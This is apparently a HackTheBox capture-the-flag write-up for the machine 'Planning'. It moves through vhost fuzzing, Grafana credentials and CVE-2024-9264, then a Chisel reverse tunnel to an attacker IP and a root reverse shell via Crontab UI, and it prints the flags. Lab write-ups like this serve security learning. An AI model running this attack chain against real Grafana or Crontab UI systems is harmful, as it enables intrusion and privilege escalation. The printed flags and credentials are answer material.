Planning¶
Initial Scan¶
Port 80 is HTTP.
Enumeration¶
Vhost fuzzing reveals a Grafana instance:
gobuster vhost -u "http://planning.htb/" -w /usr/share/wordlists/seclist/Discovery/DNS/namelist.txt --append-domain -t 200
Result: grafana.planning.htb redirects to /login.
The Grafana admin credentials are: admin:0D5oT70Fq13EvB5r
Exploitation¶
CVE-2024-9264 - Grafana Environment Variable Leak¶
Using the exploit from https://github.com/nollium/CVE-2024-9264, we dump the environment variables:
The leaked environment contains SSH credentials:
SSH Access¶
Privilege Escalation¶
The target runs Crontab UI on port 8000, accessible only via port forward. We use Chisel to forward the port:
# On attacker
chisel server --reverse --port 9002
# On target (enzo)
./chisel client 10.10.15.19:9002 R:8000
Crontab UI is accessible at http://localhost:8000 and accepts login with:
We create a cron job to execute a reverse shell as root, or directly use the Crontab UI to run commands as root.
Flags¶
user.txt: 40f47754dddd26647a767beb58498a57
root.txt: f797c73893f62c6bb51186fee2ff71d4